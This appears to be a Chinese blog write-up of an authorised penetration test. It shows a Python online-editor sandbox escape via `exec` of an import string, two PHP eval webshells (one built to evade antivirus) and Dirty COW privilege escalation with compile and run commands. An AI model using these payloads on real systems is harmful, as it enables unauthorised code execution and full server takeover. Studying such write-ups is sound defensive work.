百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术分类 > 正文

从外网绕过沙箱逃逸再到内网权限提升的一次常规渗透项目

ztj100 2024-10-27 18:30 21 浏览 0 评论

免责声明

由于传播、利用本头条俊杰说黑客所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,俊杰说黑客不为承担任何责任,一旦造成后果请自行承担!

前言:

最近也临近假期了也是一直在忙着干其它事情好久没写实战文章了,今天这个项目是之前一位企业运营加了花某授权的一次私人项目写的也是这次测试过程中相对简单的一环



已经过甲方授权发表文章。

代码执行和提权:

协议与规范中约定

不得使用任何扫描工具,一切测试内容都就当为手动测试为主

由于甲方规定不可使用扫描工具所以信息收集部分也得手动搜集

首先切入甲方给予的主域名之一 “test1.cn”

底下版权区存在友链点击发现其它资产


友情链接处第一项为【业务扩展】点击此超链接


发现甲方企业下属的子公司是个教育培训公司,由于在【授权书】中有说明企业下属子公司也算有效测试所以就讲这一大资产也列举为了测试资产之一。

培训公司主域名打开后发现业务主要为python培训,随后开始继续收集站点功能点寻找和梳理突破口。



发现一个提示面板但是没用直接舍弃了

梳理完资产后发现存在【python大闯关】功能点,实际浏览进一步突破:


看描述是练习print的点击发现存在在线编辑:


这是结果区:




测试发现可以编辑并运行代码所以第一时间就想到了沙箱逃逸


响应包中发现是nginx搭建的,根据经验nginx在linux上是要常见些的,当时也有很多win系统也用nginx搭建网站,但是花某这块先是用linux命令结合payload进行了测试:

首先直接输入:

import os 
os.system



提示非法import但是并没有给出是import语句非法还是import这个字符串非法所以进一步测试认证一下:



成功输出“import”所以是禁用了import语句而并非禁用了字符串,所以就有了操作空间这块直接构造payload试试:

command = 'import os\nos.system("id")'
exec(command)

这个payload是将 import os\nos.system("id") 作为一个字符串赋值给 command 变量,并使用 exec 函数执行了这个字符串中的代码。这样就能够实现和 os.system("id") 类似的效果,所以就绕过了import导入os的这一步操作从而绕过沙箱禁用import:



uid为501的普通用户,少见,但是还是回显了id命令的执行结果所以进一步利用,到了这一步通常就是写入py的shell了但是浏览功能点我发现了一个问题,py沙箱的的路径是

http://test1.user1.cn/pyuctu

然后再此路径下也是存在php文件的例如:

http://test1.user1.cn/search.php


就是个搜索栏所以写入php的shell应该也是能解析的,去构造payload试试:

command = 'import os\nos.system("echo "<?php @eval($_POST['cmd']); ?>" >> 1.php")'
exec(command)


蚁剑连接试试:

报错,看信息应该是文件不存在但是在沙箱中命令却是回显成功了,根据自身猜测去网站看看:

访问shell的位置:

http://test1.user1.cn/1.php

这块知道shell位置是因为此前还运行的ls确认的目录为根目录,沙箱也在根目录中所以shell位置就确定了,但是访问shell位置却回显不存在:


写入的shell不见了应该是被杀了,后续尝试了多个免杀的shell最终成功的是:

<?php
    $a=$_REQUEST['x'];
    $b="\n";
eval($b.=$a);
?>

根据shell就能知道应该是过滤了GET和POST了,shell管理工具连接。


用蚁剑再上个大马,因人而异花某只是感觉用蚁剑上传比较方便且传个冰蝎用冰蝎再进一步操作也很方便。



连接后查看基本信息看看:


CentOS 6.8系统2.6.32-642.15.1.el6.x86_64的内核,看到这个版本和内核直接脏牛提权试试:

https://github.com/FireFart/dirtycow/blob/master/dirty.c


下载exp,上传至目录



gcc -pthread /tmp/dirty.c -o /tmp/dirty -lcrypt

第一次编译失败后面发现是没下载gcc所以下载一下

yum install gcc


编译成功后下载运行exp

./dirty


再次查看id值:


成功。

总结:

这次的难度主要集中再沙箱逃逸中整体难度适中,后面的提权很奇怪对于

StackClash(CVE-2017-1000364)和SOCK_RAW(CVE-2016-8655)

都有打补丁但是对于较常见脏牛却没有。

#暑期创作大赛#

相关推荐

Jquery 详细用法

1、jQuery介绍(1)jQuery是什么?是一个js框架,其主要思想是利用jQuery提供的选择器查找要操作的节点,然后将找到的节点封装成一个jQuery对象。封装成jQuery对象的目的有...

前端开发79条知识点汇总

1.css禁用鼠标事件2.get/post的理解和他们之间的区别http超文本传输协议(HTTP)的设计目的是保证客户机与服务器之间的通信。HTTP的工作方式是客户机与服务器之间的请求-应答协议。...

js基础面试题92-130道题目

92.说说你对作用域链的理解参考答案:作用域链的作用是保证执行环境里有权访问的变量和函数是有序的,作用域链的变量只能向上访问,变量访问到window对象即被终止,作用域链向下访问变量是不被允许的。...

Web前端必备基础知识点,百万网友:牛逼

1、Web中的常见攻击方式1.SQL注入------常见的安全性问题。解决方案:前端页面需要校验用户的输入数据(限制用户输入的类型、范围、格式、长度),不能只靠后端去校验用户数据。一来可以提高后端处理...

事件——《JS高级程序设计》

一、事件流1.事件流描述的是从页面中接收事件的顺序2.事件冒泡(eventbubble):事件从开始时由最具体的元素(就是嵌套最深的那个节点)开始,逐级向上传播到较为不具体的节点(就是Docu...

前端开发中79条不可忽视的知识点汇总

过往一些不足的地方,通过博客,好好总结一下。1.css禁用鼠标事件...

Chrome 开发工具之Network

经常会听到比如"为什么我的js代码没执行啊?","我明明发送了请求,为什么反应?","我这个网站怎么加载的这么慢?"这类的问题,那么问题既然存在,就需要去解决它,需要解决它,首先我们得找对导致问题的原...

轻量级 React.js 虚拟美化滚动条组件RScroll

前几天有给大家分享一个Vue自定义滚动条组件VScroll。今天再分享一个最新开发的ReactPC端模拟滚动条组件RScroll。...

一文解读JavaScript事件对象和表单对象

前言相信做网站对JavaScript再熟悉不过了,它是一门脚本语言,不同于Python的是,它是一门浏览器脚本语言,而Python则是服务器脚本语言,我们不光要会Python,还要会JavaScrip...

Python函数参数黑科技:*args与**kwargs深度解析

90%的Python程序员不知道,可变参数设计竟能决定函数的灵活性和扩展性!掌握这些技巧,让你的函数适应任何场景!一、函数参数设计的三大进阶技巧...

深入理解Python3密码学:详解PyCrypto库加密、解密与数字签名

在现代计算领域,信息安全逐渐成为焦点话题。密码学,作为信息保护的关键技术之一,允许我们加密(保密)和解密(解密)数据。...

阿里Nacos惊爆安全漏洞,火速升级!(附修复建议)

前言好,我是threedr3am,我发现nacos最新版本1.4.1对于User-Agent绕过安全漏洞的serverIdentitykey-value修复机制,依然存在绕过问题,在nacos开启了...

Python模块:zoneinfo时区支持详解

一、知识导图二、知识讲解(一)zoneinfo模块概述...

Golang开发的一些注意事项(一)

1.channel关闭后读的问题当channel关闭之后再去读取它,虽然不会引发panic,但会直接得到零值,而且ok的值为false。packagemainimport"...

Python鼠标与键盘自动化指南:从入门到进阶——键盘篇

`pynput`是一个用于控制和监控鼠标和键盘的Python库...

取消回复欢迎 发表评论: